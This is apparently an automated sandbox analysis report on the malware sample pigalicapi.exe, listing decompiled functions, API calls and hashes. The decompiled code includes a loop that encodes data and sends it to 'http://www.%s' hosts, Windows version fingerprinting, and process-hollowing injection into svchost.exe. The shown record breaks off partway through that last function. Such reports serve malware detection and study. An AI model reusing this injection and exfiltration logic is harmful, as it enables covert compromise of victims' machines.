					_t44 = E00EF9826();
					_t62 = 0x16;
					 *_t44 = _t62;
					E00EF976A();
					return _t62;
				}
			}

0x00f00fe2
0x00f01010
0x00f01016
0x00f0101c
0x00f01024
0x00f0102b
0x00f0102b
0x00f01030
0x00f01037
0x00f0103e
0x00f01050
0x00f01057
0x00f01076
0x00f01082
0x00f0109d
0x00f010a0
0x00f010a7
0x00f010ad
0x00f010b4
0x00f010b7
0x00f010b9
0x00f010bd
0x00f010c7
0x00f010c7
0x00f010c9
0x00f010cf
0x00f010d2
0x00f010d4
0x00f010da
0x00f010db
0x00f010e1
0x00000000
0x00000000
0x00000000
0x00000000
0x00f010bf
0x00f010bf
0x00f010bf
0x00f010c2
0x00f010c3
0x00000000
0x00f010bf
0x00f010af
0x00000000
0x00f010af
0x00f01088
0x00f0108d
0x00f0108f
0x00f01091
0x00000000
0x00f01059
0x00f01059
0x00f0105e
0x00f01060
0x00f01061
0x00f01096
0x00f01096
0x00f010e4
0x00f010e5
0x00000000
0x00f010ee
0x00f00fea
0x00f00fea
0x00f00ff1
0x00f00ff2
0x00f00ff4
0x00000000
0x00f00ff9

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000104), ref: 00F01010
_free.LIBCMT ref: 00F010DB
_free.LIBCMT ref: 00F010E5

Strings

C:\Users\user\pigalicapi.exe, xrefs: 00F01007, 00F0100E, 00F0103D, 00F01075

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\pigalicapi.exe
API String ID: 2506810119-1494416116
Opcode ID: edf07075be7b48cde3e06722be40b4d6a42f8e291edc194db377556f8da8c09f
Instruction ID: a127f7ec1639fbbdfbb2508675be013489f490c0b3c827d60f9cf0493f30e336
Opcode Fuzzy Hash: edf07075be7b48cde3e06722be40b4d6a42f8e291edc194db377556f8da8c09f
Instruction Fuzzy Hash: D4319D71E04248EBCB21DF99DC819AEBBFCFB85360F148066E944D7251D6708E80FB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA7B0 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00EFA7B0(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0xf8df50 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0xf46c50 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x3af7f1ed
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x00efa7b5
0x00efa7b9
0x00efa7c0
0x00efa7c4
0x00efa7d2
0x00efa7e8
0x00efa7ec
0x00efa815
0x00efa817
0x00efa81b
0x00efa81e
0x00efa81e
0x00efa824
0x00efa826
0x00000000
0x00efa827
0x00efa7ee
0x00efa7f7
0x00efa806
0x00efa7f9
0x00efa7fc
0x00efa802
0x00efa802
0x00efa80a
0x00000000
0x00efa80c
0x00efa80f
0x00efa811
0x00000000
0x00efa811
0x00efa80a
0x00efa7c6
0x00efa7cb
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00EFA757,?,00000000,00000000,00000000,?,00EFA954,00000006,FlsSetValue), ref: 00EFA7E2
GetLastError.KERNEL32(?,00EFA757,?,00000000,00000000,00000000,?,00EFA954,00000006,FlsSetValue,00F471D0,FlsSetValue,00000000,00000364,?,00EF9D02), ref: 00EFA7EE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00EFA757,?,00000000,00000000,00000000,?,00EFA954,00000006,FlsSetValue,00F471D0,FlsSetValue,00000000), ref: 00EFA7FC

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 93ad4cda7371d0c09c26395581e458acf3524cb724710ee25c5ba79f16ee88c7
Instruction ID: e65981dbf0c1ddaa10b7d39e3368ad9f930dd048d53a1ff9e3306f98b1f2bc1e
Opcode Fuzzy Hash: 93ad4cda7371d0c09c26395581e458acf3524cb724710ee25c5ba79f16ee88c7
Instruction Fuzzy Hash: E801247261526EAFC7244B389C489B67798EF057E1B284130EB0EEB140E7A0D80196E1

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF883 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00EFF89A

Part of subcall function 00EFFEDF: ___AdjustPointer.LIBCMT ref: 00EFFF29

_UnwindNestedFrames.LIBCMT ref: 00EFF8B1
___FrameUnwindToState.LIBVCRUNTIME ref: 00EFF8C3
CallCatchBlock.LIBVCRUNTIME ref: 00EFF8E7

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: a0c907a298b97105730ea91cdf1af8e9e208b30165c122e71212370a16017045
Instruction ID: 1c490c380b5a06e15db90c5997b2906cabfad56d19c52ddbd3ad030e45774bfa
Opcode Fuzzy Hash: a0c907a298b97105730ea91cdf1af8e9e208b30165c122e71212370a16017045
Instruction Fuzzy Hash: 4101133200014DBBCF12AF55CC01EEA3BAAEF89754F159424FA1876121C772E8A1EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF376 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EFF376() {
				void* _t4;
				void* _t8;

				E00F007C7();
				E00F0075B();
				if(E00F0049E() != 0) {
					_t4 = E00EFF4B6(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00F004DA();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00eff376
0x00eff37b
0x00eff387
0x00eff38c
0x00eff391
0x00eff393
0x00eff39e
0x00eff395
0x00eff395
0x00000000
0x00eff395
0x00eff389
0x00eff389
0x00eff38b
0x00eff38b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00EFF376
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00EFF37B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00EFF380

Part of subcall function 00F0049E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00F004AF

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00EFF395

Memory Dump Source

Source File: 00000003.00000002.858247527.0000000000EF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000003.00000002.858203754.0000000000EF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.858744722.0000000000F09000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.860024941.0000000000F4C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861275270.0000000000F8D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.861368682.0000000000F8F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ef0000_pigalicapi.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: d9d358f762020a3697c42513d329f3b7714901d0df1c8398228c41b5068d958c
Instruction ID: a42740d55204b70f9740e38ba8be7bdc69912250cfb90e5be96165c5f8ef3eef
Opcode Fuzzy Hash: d9d358f762020a3697c42513d329f3b7714901d0df1c8398228c41b5068d958c
Instruction Fuzzy Hash: 0CC04C1A006249909F60BAB129127FE23410C66BC9F8034E1EB50B74C79D4D150AB977

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: pigalicapi.exePID: 6996, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	22.4%
Dynamic/Decrypted Code Coverage:	99.6%
Signature Coverage:	24.1%
Total number of Nodes:	1233
Total number of Limit Nodes:	19

Executed Functions

Function 00EC4BA0 Relevance: 65.6, APIs: 33, Strings: 4, Instructions: 800
memorysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00EC4BA0(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v24;
				signed int _v28;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				void* _v48;
				long _v52;
				void* _v56;
				char* _v60;
				CHAR* _v64;
				intOrPtr* _v68;
				intOrPtr _v72;
				int _v76;
				void* _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v96;
				void* _v100;
				void* _v124;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v152;
				void* _v156;
				void* _v160;
				char _v420;
				CHAR* _v424;
				int _v428;
				void* _v432;
				long _v436;
				short _v948;
				void* _v952;
				void* _v956;
				void* _v960;
				void* _v964;
				long _v968;
				void* _t306;
				void* _t307;
				void* _t308;
				int _t312;
				int _t318;
				long _t328;
				void* _t333;
				void* _t351;
				long _t358;
				void* _t637;
				void* _t638;

				__imp__CoInitialize(0);
				_v8 = _a4;
				if(_v8 == 0) {
					L83:
					__imp__CoUninitialize(); // executed
					return 0;
				} else {
					E00EC7B70( &_v36, _v8, 0x1c);
					_t638 = _t637 + 0xc;
					SetEvent( *(_v8 + 0x10));
					_v40 = 0xea60;
					_v44 = _v28;
					while(_v44 <= _v24 && (( *(_v12 + 0x28) & 0x000000ff) != 0 || WaitForSingleObject( *(_v12 + 0x24), 0xa) != 0)) {
						_v64 = _v44 * 0x28 + _v36;
						_v52 = 0x100000;
						_t306 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v48 = _t306;
						_t307 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v56 = _t307;
						_t308 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
						_v60 = _t308;
						if(_v48 == 0 || _v56 == 0 || _v60 == 0) {
							L82:
							_v44 = _v44 + 1;
							continue;
						} else {
							_v68 = _v48;
							_v80 = 0;
							while(_v80 < 0x100) {
								_v80 = _v80 + 1;
							}
							_v72 = _v68 - _v48;
							if( *0xed18a4 == 2 &&  *((intOrPtr*)(_v16 + 0x453)) > 0 &&  *((intOrPtr*)(_v16 + 0x453)) < 0x100000 - _v72 &&  *((intOrPtr*)(_v16 + 0x457)) != 0) {
								 *_v68 =  *((intOrPtr*)(_v16 + 0x453));
								_v68 = _v68 + 4;
								E00EC7B70(_v68,  *((intOrPtr*)(_v16 + 0x457)),  *((intOrPtr*)(_v16 + 0x453)));
								_t638 = _t638 + 0xc;
								_v68 = _v68 +  *((intOrPtr*)(_v16 + 0x453));
							}
							_v72 = _v68 - _v48;
							_t312 = E00EC8370(_v48, _v72, _v56, 0x100000); // executed
							_t638 = _t638 + 0x10;
							_v76 = _t312;
							if(_v76 <= 0) {
								L81:
								VirtualFree(_v48, 0, 0x8000); // executed
								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E00EC17D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0xed18a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E00EC17D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E00EC7B70(_v964, _v956, _v436);
													E00EC7B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E00EC7B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E00EC7B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E00EC7B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

0x00ec4bac
0x00ec4bb5
0x00ec4bbc
0x00ec56f0
0x00ec56f0
0x00ec56fc
0x00ec4bc2
0x00ec4bcc
0x00ec4bd1
0x00ec4bdb
0x00ec4be1
0x00ec4beb
0x00ec4bf9
0x00ec4c31
0x00ec4c34
0x00ec4c49
0x00ec4c4f
0x00ec4c60
0x00ec4c66
0x00ec4c77
0x00ec4c7d
0x00ec4c84
0x00ec56eb
0x00ec4bf6
0x00000000
0x00ec4c9e
0x00ec4ca1
0x00ec4ca4
0x00ec4cb6
0x00ec4cb3
0x00ec4cb3
0x00ec52a8
0x00ec52b2
0x00ec52eb
0x00ec52f3
0x00ec530e
0x00ec5313
0x00ec5322
0x00ec5322
0x00ec532b
0x00ec533f
0x00ec5344
0x00ec5347
0x00ec534e
0x00ec56b8
0x00ec56c3
0x00ec56d4
0x00ec56e5
0x00000000
0x00ec5354
0x00ec5354
0x00ec5362
0x00ec537f
0x00000000
0x00000000
0x00ec5397
0x00ec539d
0x00ec53a0
0x00ec53ca
0x00000000
0x00000000
0x00ec53d0
0x00ec53da
0x00ec53fd
0x00ec5403
0x00ec5439
0x00ec543e
0x00ec5441
0x00ec544e
0x00ec569b
0x00ec56a2
0x00ec56b2
0x00ec56b2
0x00000000
0x00ec56a2
0x00ec545e
0x00ec5477
0x00000000
0x00000000
0x00ec548b
0x00ec5491
0x00ec549b
0x00ec54a5
0x00ec54c0
0x00ec54f5
0x00ec54fa
0x00ec54fd
0x00ec550d
0x00000000
0x00ec551d
0x00ec54ba
0x00000000
0x00ec54ba
0x00ec550d
0x00000000
0x00ec551f
0x00ec551f
0x00ec5526
0x00ec5533
0x00ec5540
0x00ec5598
0x00ec55ae
0x00ec55b4
0x00ec55c1
0x00ec55d8
0x00ec5631
0x00ec5654
0x00ec5659
0x00ec55da
0x00ec55ef
0x00ec5612
0x00ec5617
0x00ec5617
0x00ec566b
0x00ec567c
0x00ec568b
0x00ec568b
0x00ec5542
0x00ec5552
0x00ec555b
0x00ec5573
0x00ec5578
0x00ec5584
0x00ec5584
0x00ec5695
0x00ec5695
0x00000000
0x00ec5526
0x00ec545e
0x00ec534e
0x00ec4c84
0x00000000
0x00ec4bf9

APIs

CoInitialize.OLE32(00000000), ref: 00EC4BAC
SetEvent.KERNEL32(?), ref: 00EC4BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 00EC4C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 00EC4C77
CoUninitialize.OLE32 ref: 00EC56F0

Strings

pigalicapi, xrefs: 00EC5041, 00EC5080
, xrefs: 00EC4EF0
http://www.%s, xrefs: 00EC5354
`, xrefs: 00EC4BE1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$http://www.%s$pigalicapi
API String ID: 1834614700-967124566
Opcode ID: 2f7b6b5501f2817fb33b2e6ef25d15fa67fee5ee2bf4abc35d29f96045e68b60
Instruction ID: 41a63390f8ef38d761e1e8e48fb7fa799a5f66b6f5fa73b8eb1be88e2a9c9d2e
Opcode Fuzzy Hash: 2f7b6b5501f2817fb33b2e6ef25d15fa67fee5ee2bf4abc35d29f96045e68b60
Instruction Fuzzy Hash: 1D62AFB5D00214EFDB14DB90DD45FEEB7B4BB48306F04919DF6097A282D772AA86CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EC8F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E00EC7D20(E00EC7D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E00EC7D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E00EC9290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

0x00ec8f89
0x00ec8f94
0x00ec927b
0x00ec9281
0x00ec8fae
0x00ec8fce
0x00ec8fd6
0x00ec8fe8
0x00ec8fff
0x00ec9266
0x00ec926a
0x00ec9275
0x00ec9275
0x00000000
0x00ec926a
0x00ec9009
0x00ec9016
0x00ec911c
0x00ec9129
0x00ec917b
0x00ec91ca
0x00ec91d3
0x00ec91f6
0x00ec9201
0x00ec920a
0x00ec920a
0x00ec91d5
0x00ec91de
0x00ec91e7
0x00ec91e7
0x00ec91d3
0x00ec917d
0x00ec9184
0x00ec91a7
0x00ec91b2
0x00ec91bb
0x00ec91bb
0x00ec9186
0x00ec918f
0x00ec9198
0x00ec9198
0x00ec91c1
0x00ec912b
0x00ec9132
0x00ec9155
0x00ec9160
0x00ec9169
0x00ec9169
0x00ec9134
0x00ec913d
0x00ec9146
0x00ec9146
0x00ec916f
0x00ec9129
0x00ec9210
0x00ec9217
0x00ec9222
0x00ec9222
0x00ec9237
0x00ec9242
0x00ec9253
0x00ec9253
0x00ec9263
0x00000000
0x00ec9263
0x00ec9023
0x00ec9049
0x00ec906f
0x00ec907c
0x00ec90ab
0x00ec90d1
0x00ec90f6
0x00ec9101
0x00ec910a
0x00ec910a
0x00ec90d3
0x00ec90dc
0x00ec90e5
0x00ec90e5
0x00ec90ad
0x00ec90b6
0x00ec90bf
0x00ec90bf
0x00ec9087
0x00ec9090
0x00ec9099
0x00ec9099
0x00ec907c
0x00ec904b
0x00ec9054
0x00ec905d
0x00ec905d
0x00ec9025
0x00ec902e
0x00ec9037
0x00ec9037
0x00000000
0x00ec9110

APIs

GetVersionExA.KERNEL32(0000009C), ref: 00EC8FF7
GetSystemInfo.KERNEL32(?), ref: 00EC9009
lstrcatA.KERNEL32(00000000,Win2K), ref: 00EC902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 00EC9054
lstrcatA.KERNEL32(00000000,Vista), ref: 00EC913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 00EC9160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 00EC918F
lstrcatA.KERNEL32(00000000,Win7), ref: 00EC91B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 00EC91DE
lstrcatA.KERNEL32(00000000,Win8), ref: 00EC9201
lstrcatA.KERNEL32(00000000,_x64), ref: 00EC9222
lstrlenA.KERNEL32(?), ref: 00EC922F
lstrcatA.KERNEL32(00000000,00ECC980), ref: 00EC9242
lstrcatA.KERNEL32(00000000,?), ref: 00EC9253
lstrlenA.KERNEL32(00000000), ref: 00EC925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 00EC9275

Strings

WinServer2003R2, xrefs: 00EC90D3
_x64, xrefs: 00EC9219
Win8, xrefs: 00EC91F8
WinXP64, xrefs: 00EC9087
WinServer2008, xrefs: 00EC9157
Win7, xrefs: 00EC91A9
WinServer2008R2, xrefs: 00EC9186
WinXP, xrefs: 00EC904B
WinHomeServer, xrefs: 00EC90F8
Vista, xrefs: 00EC9134
UndefinedOS, xrefs: 00EC926C
WinServer2012, xrefs: 00EC91D5
Win2K, xrefs: 00EC9025
WinServer2003, xrefs: 00EC90AD

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: 9810c8c5dc21a3e6f085dbc1b839cb9894b6a021bd27d24dc6dce5859e975ca0
Instruction ID: eba7914ff7d2f3da727f8e046352eb2ce3661e3d3c47d1ac7ebad710ee51e984
Opcode Fuzzy Hash: 9810c8c5dc21a3e6f085dbc1b839cb9894b6a021bd27d24dc6dce5859e975ca0
Instruction Fuzzy Hash: 16819D74A00309EFDB248F60DE4EFAE7B74BB09305F249548F849B6291C776D986DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EC20B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EC20B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E00EC7D20(_t121,  &_v1012, 0, 0x10);
				E00EC7D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E00EC7B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
